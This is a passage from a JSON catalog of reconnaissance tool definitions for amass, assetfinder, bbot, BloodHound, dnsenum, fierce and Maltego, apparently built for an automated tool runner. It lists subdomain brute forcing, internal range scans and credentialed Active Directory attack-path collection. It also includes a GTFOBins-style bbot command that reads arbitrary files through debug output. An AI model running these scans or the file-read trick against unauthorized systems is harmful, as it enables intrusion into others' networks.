        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "In-depth DNS enumeration, subdomain discovery, and attack surface mapping tool from the OWASP project.",
    "examples": [
      {
        "description": "Basic subdomain enumeration",
        "command": "amass enum -d example.com"
      },
      {
        "description": "Enumeration with active techniques",
        "command": "amass enum -d example.com -active"
      },
      {
        "description": "Brute force subdomains with custom wordlist",
        "command": "amass enum -d example.com -brute -w /usr/share/wordlists/subdomains.txt"
      },
      {
        "description": "Save results to file",
        "command": "amass enum -d example.com -o results.txt"
      },
      {
        "description": "JSON output for programmatic processing",
        "command": "amass enum -d example.com -json results.json"
      },
      {
        "description": "Use a specific DNS resolver",
        "command": "amass enum -d example.com -r 8.8.8.8"
      },
      {
        "description": "Enumerate across multiple domains from a file",
        "command": "amass enum -dL domains.txt"
      },
      {
        "description": "Visualize results as a graph",
        "command": "amass viz -d example.com -o graph.html"
      },
      {
        "description": "Track new subdomains over time",
        "command": "amass track -d example.com"
      }
    ],
    "execution": {
      "template": "amass enum -d {domain} -o {output}",
      "sandbox": "execFile",
      "timeout_seconds": 3600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "encryption",
      "network-intensive",
      "pipes-stdout"
    ],
    "global_vars": {
      "target": "domain",
      "domain": "example.com",
      "output": "amass-results.txt"
    },
    "id": "security-recon-amass",
    "install": [
      {
        "method": "apt",
        "package_name": "amass",
        "commands": [
          "apt-get install -y amass"
        ]
      },
      {
        "method": "brew",
        "package_name": "amass",
        "commands": [
          "brew install amass"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1595"
    ],
    "name": "amass",
    "namespace": "security:recon:amass",
    "parameters": [
      {
        "name": "active",
        "template_key": "active",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Perform active enumeration",
        "aliases": [
          "-active"
        ],
        "flag": "-active"
      },
      {
        "name": "brute",
        "template_key": "brute",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Enable brute forcing of subdomains",
        "aliases": [
          "-brute"
        ],
        "flag": "-brute"
      },
      {
        "name": "domain",
        "template_key": "domain",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Target domain name",
        "aliases": [
          "-d",
          "--domain"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-dL",
        "template_key": "flag-dL",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "File containing list of domains",
        "aliases": [
          "-dL",
          "--list"
        ],
        "flag": "-dL"
      },
      {
        "name": "flag-ip",
        "template_key": "flag-ip",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Show IP addresses for discovered names",
        "aliases": [
          "-ip"
        ],
        "flag": "-ip"
      },
      {
        "name": "flag-json",
        "template_key": "flag-json",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "JSON output format",
        "aliases": [
          "-json"
        ],
        "flag": "-json"
      },
      {
        "name": "flag-o",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Output file for discovered subdomains",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-r",
        "template_key": "flag-r",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "DNS resolver to use",
        "aliases": [
          "-r",
          "--resolver"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-src",
        "template_key": "flag-src",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Print source for each discovered subdomain",
        "aliases": [
          "-src"
        ],
        "flag": "-src"
      },
      {
        "name": "flag-w",
        "template_key": "flag-w",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Wordlist file for brute forcing",
        "aliases": [
          "-w",
          "--wordlist"
        ],
        "flag": "-w"
      },
      {
        "name": "h",
        "type": "boolean",
        "required": false,
        "description": "Show the program usage message",
        "aliases": [
          "-h"
        ],
        "flag": "-h"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "Show the program usage message",
        "aliases": [
          "-help"
        ],
        "flag": "-help"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "OWASP Amass GitHub",
        "url": "https://github.com/owasp-amass/amass"
      },
      {
        "label": "Amass Documentation",
        "url": "https://amass.readthedocs.io/"
      }
    ],
    "related_tools": [
      "subfinder",
      "assetfinder",
      "dnsenum",
      "fierce"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 256,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "services": [],
    "techniques": [
      "discovery",
      "enumeration"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "subdomains",
        "domain-graph",
        "dns-records"
      ],
      "consumes": [
        "domain"
      ]
    }
  },
  {
    "_body": "\n# Assetfinder — Domain & Subdomain Discovery\n\nAssetfinder is a lightweight tool that finds domains and subdomains potentially related to a given domain. It sources data from certificate transparency logs, DNS records, and other public intelligence sources.\n\n## Usage\n\n```bash\n# Basic discovery\nassetfinder example.com\n\n# Subdomains only\nassetfinder --subs-only example.com\n\n# Pipe to httpx for live host verification\nassetfinder example.com | httpx -silent\n```\n",
    "_source": "assetfinder.md",
    "allowed-tools": [
      "assetfinder",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "security.recon.domain.list",
        "description": "List of related domains and subdomains",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Enumeration"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.discovery.subdomain",
      "security.recon.passive",
      "network.discovery.domain"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.domain",
          "description": "Target domain name"
        }
      ],
      "outputs": [
        {
          "type": "security.recon.domain.list",
          "description": "Related domains and subdomains",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Command-line tool that finds domains and subdomains potentially related to a given domain using passive sources.",
    "examples": [
      {
        "description": "Basic domain asset discovery",
        "command": "assetfinder example.com"
      },
      {
        "description": "Show only subdomains (exclude related domains)",
        "command": "assetfinder --subs-only example.com"
      },
      {
        "description": "Filter output for verified domains only",
        "command": "assetfinder --subs-only example.com | sort -u"
      }
    ],
    "execution": {
      "template": "assetfinder {domain}",
      "sandbox": "execFile",
      "timeout_seconds": 120,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive"
    ],
    "global_vars": {
      "target": "domain",
      "domain": "example.com"
    },
    "id": "security-recon-assetfinder",
    "install": [
      {
        "method": "go",
        "repo_url": "github.com/tomnomnom/assetfinder",
        "commands": [
          "go install github.com/tomnomnom/assetfinder@latest"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1595"
    ],
    "name": "assetfinder",
    "namespace": "security:recon:assetfinder",
    "parameters": [
      {
        "name": "domain",
        "template_key": "domain",
        "type": "string",
        "required": true,
        "default_value": null,
        "description": "Target domain to find assets for",
        "aliases": []
      },
      {
        "name": "subs-only",
        "template_key": "subs-only",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Show only subdomains",
        "aliases": [
          "--subs-only"
        ],
        "flag": "--subs-only"
      },
      {
        "name": "flag-f",
        "template_key": "flag-f",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Filter out unverified domains",
        "aliases": [
          "-f",
          "--filter"
        ],
        "flag": "-f"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Assetfinder GitHub",
        "url": "https://github.com/tomnomnom/assetfinder"
      }
    ],
    "related_tools": [
      "subfinder",
      "amass",
      "findomain"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "subdomains",
        "related-domains"
      ],
      "consumes": [
        "domain"
      ]
    }
  },
  {
    "_body": "\n\n",
    "_source": "bbot.md",
    "allowed-tools": [
      "bbot",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to input file"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content in debug log"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "OSINT reconnaissance tool, can read files via debug log output.",
    "examples": [
      {
        "description": "Read a file via bbot debug log",
        "command": "bbot -d -cy /path/to/input-file"
      }
    ],
    "execution": {
      "template": "bbot -d -cy {input}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "security-recon-bbot",
    "install": [
      {
        "method": "pip",
        "package_name": "bbot",
        "commands": [
          "pip install bbot"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1595"
    ],
    "name": "bbot",
    "namespace": "security:recon:bbot",
    "parameters": [
      {
        "name": "input",
        "type": "file",
        "required": false,
        "description": "File to read"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/bbot/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [
      "DNS",
      "HTTP"
    ],
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "\n# BloodHound — AD Attack Path Mapping\n\nBloodHound is a single-page JavaScript web application that uses graph theory to reveal hidden relationships and attack paths in Active Directory environments. It ingests LDAP data and session information to build a comprehensive map of who-can-do-what.\n\n## Collectors\n\n| Collector | Platform | Command |\n|-----------|----------|---------|\n| BloodHound.py | Linux | `bloodhound-python -d DOMAIN -u USER -p PASS -c all` |\n| SharpHound.exe | Windows | `SharpHound.exe -c All` |\n| SharpHound.ps1 | PowerShell | `Invoke-BloodHound -CollectionMethod All` |\n\n## Collection Methods\n\n- **Group**: Group membership  \n- **Session**: Active user sessions  \n- **ComputerOnly**: Computer details  \n- **LocalAdmin**: Local admin groups  \n- **RDP**: Remote Desktop users  \n- **DCOM**: DCOM users  \n- **PSRemote**: PowerShell Remote users  \n- **ACL**: Access control entries  \n- **All**: Everything above\n",
    "_source": "bloodhound.md",
    "allowed-tools": [
      "bloodhound"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Enumeration"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.ad.enum.users",
      "security.ad.enum.groups",
      "security.ad.enum.computers",
      "security.ad.enum.gpos",
      "security.ad.enum.ous",
      "security.ad.attackpath",
      "security.ad.kerberosabuse",
      "security.ad.aclanalysis",
      "security.ad.sessioncollection"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.ip",
          "description": "Domain controller or target IP"
        },
        {
          "type": "credential.username",
          "description": "Domain username"
        },
        {
          "type": "credential.password",
          "description": "Domain password"
        }
      ],
      "outputs": [
        {
          "type": "security.ad.graph",
          "description": "BloodHound JSON files (users/groups/computers/sessions)"
        }
      ],
      "side_effects": [
        "network_traffic"
      ]
    },
    "dependencies": [
      "python3",
      "neo4j"
    ],
    "description": "Active Directory graph-based enumeration tool that maps relationships between users, groups, computers, and permissions to identify attack paths to domain privilege escalation.",
    "examples": [
      {
        "description": "Full AD enumeration with all collection methods",
        "command": "bloodhound-python -d {{DOMAIN}} -u {{USER}} -p '{{PASSWORD}}' -ns {{IP}} -c all"
      },
      {
        "description": "Kerberos-based enumeration (no password needed on Linux)",
        "command": "bloodhound-python -d {{DOMAIN}} -u {{USER}} -k -no-pass -ns {{IP}} -c all"
      },
      {
        "description": "BloodHound.py remote ingestion from LDAP (no credentials)",
        "command": "bloodhound.py -c LDAP -d evilcorp.local -dc-ip 10.10.10.1 -ns 10.10.10.1"
      },
      {
        "description": "BloodHound.py with credentials via LDAP",
        "command": "bloodhound.py -u john -p password123 -d evilcorp.local -dc-ip 10.10.10.1 -ns 10.10.10.1 -c All"
      },
      {
        "description": "SharpHound.exe PowerShell execution on Windows",
        "command": "Invoke-BloodHound -CollectionMethod All -Domain evilcorp.local -ZipFile output.zip"
      }
    ],
    "execution": {
      "template": "bloodhound-python -d {domain} -u {username} -p {password} -ns {nameserver} -c {collection-method}",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "pipes-stdin",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {
      "target": "ip",
      "domain": "domain",
      "username": "user",
      "nameserver": "ip"
    },
    "id": "security-recon-bloodhound",
    "install": [
      {
        "method": "apt",
        "package_name": "bloodhound",
        "commands": [
          "apt-get install -y bloodhound"
        ]
      }
    ],
    "items": [
      "NoCreds",
      "Hash"
    ],
    "mitre_ids": [
      "T1087",
      "T1069"
    ],
    "name": "BloodHound",
    "namespace": "security:recon:bloodhound",
    "parameters": [
      {
        "name": "target",
        "type": "string",
        "required": true,
        "description": "Target domain controller IP or domain"
      },
      {
        "name": "username",
        "type": "string",
        "required": true,
        "description": "Domain username"
      },
      {
        "name": "password",
        "type": "string",
        "required": true,
        "description": "Domain password"
      },
      {
        "name": "domain",
        "type": "string",
        "required": false,
        "description": "Domain name (auto-detected if omitted)"
      },
      {
        "name": "nameserver",
        "type": "string",
        "required": false,
        "description": "DNS server IP for domain resolution"
      },
      {
        "name": "collection-method",
        "type": "string",
        "required": false,
        "default_value": "all",
        "description": "Collection method: all, group, session, computeronly, etc."
      }
    ],
    "platforms": [
      "linux",
      "cross-platform"
    ],
    "references": [
      {
        "label": "BloodHound GitHub",
        "url": "https://github.com/BloodHoundAD/BloodHound"
      },
      {
        "label": "BloodHound.py GitHub",
        "url": "https://github.com/fox-it/BloodHound.py"
      }
    ],
    "related_tools": [
      "netexec",
      "impacket"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 256,
      "network": "medium",
      "disk_io": "medium"
    },
    "risk_level": "low",
    "services": [
      "LDAP",
      "SMB",
      "Kerberos",
      "RPC"
    ],
    "techniques": [
      "discovery",
      "enumeration",
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n# dnsenum — DNS Enumeration Tool\n\ndnsenum is a comprehensive DNS enumeration Perl script that automates the process of gathering DNS information about a target domain. It performs zone transfers, brute forces subdomains, conducts reverse lookups, and can integrate with Google scraping.\n\n## Key Features\n\n- **DNS record enumeration**: A, NS, MX, TXT, CNAME records\n- **Zone transfer**: Attempts DNS zone transfers\n- **Subdomain brute forcing**: Uses a wordlist for brute force discovery\n- **Reverse lookups**: Discovers PTR records for IP ranges\n- **Google scraping**: Extracts subdomains from search results\n- **Recursive mode**: Brute forces discovered subdomains recursively\n",
    "_source": "dnsenum.md",
    "allowed-tools": [
      "dnsenum",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "security.recon.dns.records",
        "description": "DNS records discovered during enumeration",
        "mime": "text/plain",
        "trust_level": "verified"
      },
      {
        "type": "security.recon.subdomain.list",
        "description": "Discovered subdomains",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Enumeration"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.discovery.dns",
      "network.discovery.subdomain",
      "security.recon.dns",
      "service.dns.zone-transfer"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.domain",
          "description": "Target domain name"
        }
      ],
      "outputs": [
        {
          "type": "security.recon.dns.records",
          "description": "Collected DNS records",
          "mime": "text/plain"
        },
        {
          "type": "security.recon.subdomain.list",
          "description": "Discovered subdomains",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Perl-based DNS enumeration tool that performs comprehensive DNS record queries, brute forcing, reverse lookups, and zone transfers.",
    "examples": [
      {
        "description": "Basic DNS enumeration",
        "command": "dnsenum example.com"
      },
      {
        "description": "Enumeration with Google scraping and whois",
        "command": "dnsenum --enum example.com"
      },
      {
        "description": "DNS brute force with custom wordlist",
        "command": "dnsenum -f /usr/share/wordlists/subdomains.txt example.com"
      },
      {
        "description": "Recursive brute force on subdomains",
        "command": "dnsenum -r example.com"
      },
      {
        "description": "Use specific DNS server",
        "command": "dnsenum --dnsserver 8.8.8.8 example.com"
      },
      {
        "description": "Output results to XML file",
        "command": "dnsenum -o results.xml example.com"
      }
    ],
    "execution": {
      "template": "dnsenum {domain}",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "network-intensive",
      "pipes-stdin",
      "process-manip"
    ],
    "global_vars": {
      "target": "domain",
      "domain": "example.com"
    },
    "id": "security-recon-dnsenum",
    "install": [
      {
        "method": "apt",
        "package_name": "dnsenum",
        "commands": [
          "apt-get install -y dnsenum"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1595"
    ],
    "name": "dnsenum",
    "namespace": "security:recon:dnsenum",
    "parameters": [
      {
        "name": "d",
        "type": "boolean",
        "required": false,
        "description": "Max seconds between whois queries (default: 3s).",
        "aliases": [
          "-d",
          "--delay"
        ],
        "flag": "-d"
      },
      {
        "name": "dnsserver",
        "template_key": "dnsserver",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "DNS server to use for queries",
        "aliases": [
          "--dnsserver"
        ],
        "flag": "--dnsserver"
      },
      {
        "name": "domain",
        "template_key": "domain",
        "type": "string",
        "required": true,
        "default_value": null,
        "description": "Target domain name",
        "aliases": []
      },
      {
        "name": "e",
        "type": "boolean",
        "required": false,
        "description": "Exclude PTR records matching regexp.",
        "aliases": [
          "-e",
          "--exclude"
        ],
        "flag": "-e"
      },
      {
        "name": "enum",
        "template_key": "enum",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Shortcut for --threads 5 -s 15 -w",
        "aliases": [
          "--enum"
        ],
        "flag": "--enum"
      },
      {
        "name": "flag-f",
        "template_key": "flag-f",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Subdomain wordlist for brute force",
        "aliases": [
          "-f",
          "--file"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-o",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Output XML file",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "flag-r",
        "template_key": "flag-r",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Recursive brute force",
        "aliases": [
          "-r",
          "--recursion"
        ],
        "flag": "-r"
      },
      {
        "name": "flag-t",
        "template_key": "flag-t",
        "type": "integer",
        "required": false,
        "default_value": 10,
        "description": "TCP and UDP timeout in seconds",
        "aliases": [
          "-t",
          "--timeout"
        ],
        "flag": "-t"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "h",
        "type": "boolean",
        "required": false,
        "description": "Print this help message.",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "nocolor",
        "type": "boolean",
        "required": false,
        "description": "Disable ANSIColor output.",
        "aliases": [
          "--nocolor"
        ],
        "flag": "--nocolor"
      },
      {
        "name": "noreverse",
        "type": "boolean",
        "required": false,
        "description": "Skip the reverse lookup operations.",
        "aliases": [
          "--noreverse"
        ],
        "flag": "--noreverse"
      },
      {
        "name": "p",
        "type": "boolean",
        "required": false,
        "description": "Google search pages to process (default: 5).",
        "aliases": [
          "-p",
          "--pages"
        ],
        "flag": "-p"
      },
      {
        "name": "private",
        "type": "boolean",
        "required": false,
        "description": "Show and save private ips in domain_ips.txt.",
        "aliases": [
          "--private"
        ],
        "flag": "--private"
      },
      {
        "name": "s",
        "type": "boolean",
        "required": false,
        "description": "Max subdomains scraped from Google (default 15).",
        "aliases": [
          "-s",
          "--scrap"
        ],
        "flag": "-s"
      },
      {
        "name": "subfile",
        "type": "boolean",
        "required": false,
        "description": "Write all valid subdomains to this file.",
        "aliases": [
          "--subfile"
        ],
        "flag": "--subfile"
      },
      {
        "name": "threads",
        "template_key": "threads",
        "type": "integer",
        "required": false,
        "default_value": 5,
        "description": "Number of threads",
        "aliases": [
          "--threads"
        ],
        "flag": "--threads"
      },
      {
        "name": "u",
        "type": "boolean",
        "required": false,
        "description": "Update file with valid subdomains.",
        "aliases": [
          "-u",
          "--update"
        ],
        "flag": "-u"
      },
      {
        "name": "w",
        "type": "boolean",
        "required": false,
        "description": "Perform whois queries on C class networks.",
        "aliases": [
          "-w",
          "--whois"
        ],
        "flag": "-w"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "cross-platform"
    ],
    "references": [
      {
        "label": "dnsenum Kali package",
        "url": "https://www.kali.org/tools/dnsenum/"
      }
    ],
    "related_tools": [
      "fierce",
      "dnsrecon",
      "amass",
      "subfinder"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "discovery",
      "enumeration"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "dns-records",
        "subdomains",
        "ptr-records"
      ],
      "consumes": [
        "domain"
      ]
    }
  },
  {
    "_body": "\n# Fierce — DNS Reconnaissance\n\nFierce is a DNS recon tool originally written by RSnake and rewritten in Python. It locates non-contiguous IP space by performing DNS zone transfers, subdomain brute forcing, and reverse DNS lookups to map a target's network footprint.\n\n## Key Capabilities\n\n- **Subdomain discovery**: Brute forces common subdomain names\n- **IP space mapping**: Identifies non-contiguous IP ranges\n- **Wide scanning**: Expands to scan entire class C networks\n- **Reverse DNS**: Maps IP blocks back to hostnames\n- **Internal scanning**: Scan RFC 1918 ranges for host discovery\n\n## Usage Examples\n\n```bash\n# Basic recon\nfierce --domain example.com\n\n# Wide scan with connectivity check\nfierce --domain example.com --wide --connect\n\n# Internal range scanning\nfierce --range 10.10.10.0/24 --dns-servers 192.168.1.1\n```\n",
    "_source": "fierce.md",
    "allowed-tools": [
      "fierce",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "security.recon.dns.records",
        "description": "Discovered DNS records and IP space",
        "mime": "text/plain",
        "trust_level": "verified"
      }
    ],
    "attack_types": [
      "Enumeration"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "network.discovery.dns",
      "network.discovery.subdomain",
      "security.recon.dns",
      "network.discovery.ip-range"
    ],
    "contract": {
      "inputs": [
        {
          "type": "network.target.domain",
          "description": "Target domain name"
        }
      ],
      "outputs": [
        {
          "type": "security.recon.dns.records",
          "description": "DNS records and discovered IP space",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic",
        "network_traffic"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "DNS reconnaissance tool for locating non-contiguous IP space, subdomain brute forcing, and reverse DNS lookups.",
    "examples": [
      {
        "description": "Basic DNS reconnaissance",
        "command": "fierce --domain example.com"
      },
      {
        "description": "Wide scan across entire class C ranges",
        "command": "fierce --domain example.com --wide"
      },
      {
        "description": "With HTTP connection checking",
        "command": "fierce --domain example.com --connect"
      },
      {
        "description": "Scan internal IP range",
        "command": "fierce --range 10.10.10.0/24"
      },
      {
        "description": "Custom subdomain wordlist",
        "command": "fierce --domain example.com --subdomain-file subdomains.txt"
      },
      {
        "description": "Use specific DNS servers",
        "command": "fierce --domain example.com --dns-servers 8.8.8.8 1.1.1.1"
      },
      {
        "description": "Traverse N addresses around discovered records",
        "command": "fierce --domain example.com --traverse 10"
      },
      {
        "description": "Use TCP for DNS queries",
        "command": "fierce --domain example.com --tcp"
      }
    ],
    "execution": {
      "template": "fierce --domain {domain}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {
      "target": "domain",
      "domain": "example.com"
    },
    "id": "security-recon-fierce",
    "install": [
      {
        "method": "apt",
        "package_name": "fierce",
        "commands": [
          "apt-get install -y fierce"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "mitre_ids": [
      "T1046",
      "T1595"
    ],
    "name": "fierce",
    "namespace": "security:recon:fierce",
    "parameters": [
      {
        "name": "connect",
        "template_key": "connect",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Attempt HTTP connection to non-RFC 1918 hosts",
        "aliases": [
          "--connect"
        ],
        "flag": "--connect"
      },
      {
        "name": "delay",
        "template_key": "delay",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Time to wait between lookups",
        "aliases": [
          "--delay"
        ],
        "flag": "--delay"
      },
      {
        "name": "dns-servers",
        "template_key": "dns-servers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "DNS servers for reverse lookups",
        "aliases": [
          "--dns-servers"
        ],
        "flag": "--dns-servers"
      },
      {
        "name": "dns_file",
        "type": "boolean",
        "required": false,
        "description": "]",
        "aliases": [
          "--dns-file",
          "--tcp"
        ],
        "flag": "--tcp"
      },
      {
        "name": "domain",
        "template_key": "domain",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Domain name to test",
        "aliases": [
          "--domain"
        ],
        "flag": "--domain"
      },
      {
        "name": "h",
        "type": "boolean",
        "required": false,
        "description": "show this help message and exit",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "range",
        "template_key": "range",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Scan an internal IP range in CIDR",
        "aliases": [
          "--range"
        ],
        "flag": "--range"
      },
      {
        "name": "subdomain-file",
        "template_key": "subdomain-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Subdomains wordlist file",
        "aliases": [
          "--subdomain-file"
        ],
        "flag": "--subdomain-file"
      },
      {
        "name": "subdomains",
        "type": "boolean",
        "required": false,
        "description": "SUBDOMAINS [SUBDOMAINS ...]  use these subdomains",
        "aliases": [
          "--subdomains"
        ],
        "flag": "--subdomains"
      },
      {
        "name": "tcp",
        "template_key": "tcp",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Use TCP instead of UDP",
        "aliases": [
          "--tcp"
        ],
        "flag": "--tcp"
      },
      {
        "name": "traverse",
        "template_key": "traverse",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Scan N IPs before and after discovered records",
        "aliases": [
          "--traverse"
        ],
        "flag": "--traverse"
      },
      {
        "name": "wide",
        "template_key": "wide",
        "type": "boolean",
        "required": false,
        "default_value": false,
        "description": "Scan entire class C of discovered records",
        "aliases": [
          "--wide"
        ],
        "flag": "--wide"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "Fierce GitHub",
        "url": "https://github.com/mschwager/fierce"
      },
      {
        "label": "Fierce Kali docs",
        "url": "https://www.kali.org/tools/fierce/"
      }
    ],
    "related_tools": [
      "dnsenum",
      "dnsrecon",
      "amass",
      "subfinder"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "discovery",
      "enumeration"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "dns-records",
        "ip-ranges",
        "subdomains"
      ],
      "consumes": [
        "domain"
      ]
    }
  },
  {
    "_body": "\n# Maltego — Link Analysis & OSINT\n\nMaltego is a graphical link analysis tool for OSINT investigations. It provides an interactive environment for mining and correlating information from various public data sources, presenting results as entity graphs that reveal relationships between domains, IP addresses, email addresses, people, and organizations.\n\n## Key Concepts\n\n- **Entities**: Represent pieces of data (domains, IPs, emails, people)\n- **Transforms**: Plugins that query data sources and return related entities\n- **Graphs**: Visual representation of entity relationships\n- **Machines**: Automated sequences of transforms for common investigations\n\n## Common Use Cases\n\n- Domain infrastructure mapping\n- Email address correlation\n- Social network footprinting\n- Company organizational charting\n- Person-of-interest profiling\n",
    "_source": "maltego.md",
    "allowed-tools": [
      "maltego",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "security.recon.graph",
        "description": "Maltego graph visualization",
        "mime": "application/xml",
        "trust_level": "verified"
      },
      {
        "type": "security.recon.report",
        "description": "Maltego export report",
        "mime": "text/html",
        "trust_level": "community"
      }
    ],
    "attack_types": [
      "Enumeration"
    ],
    "author": "Repository Maintainers",
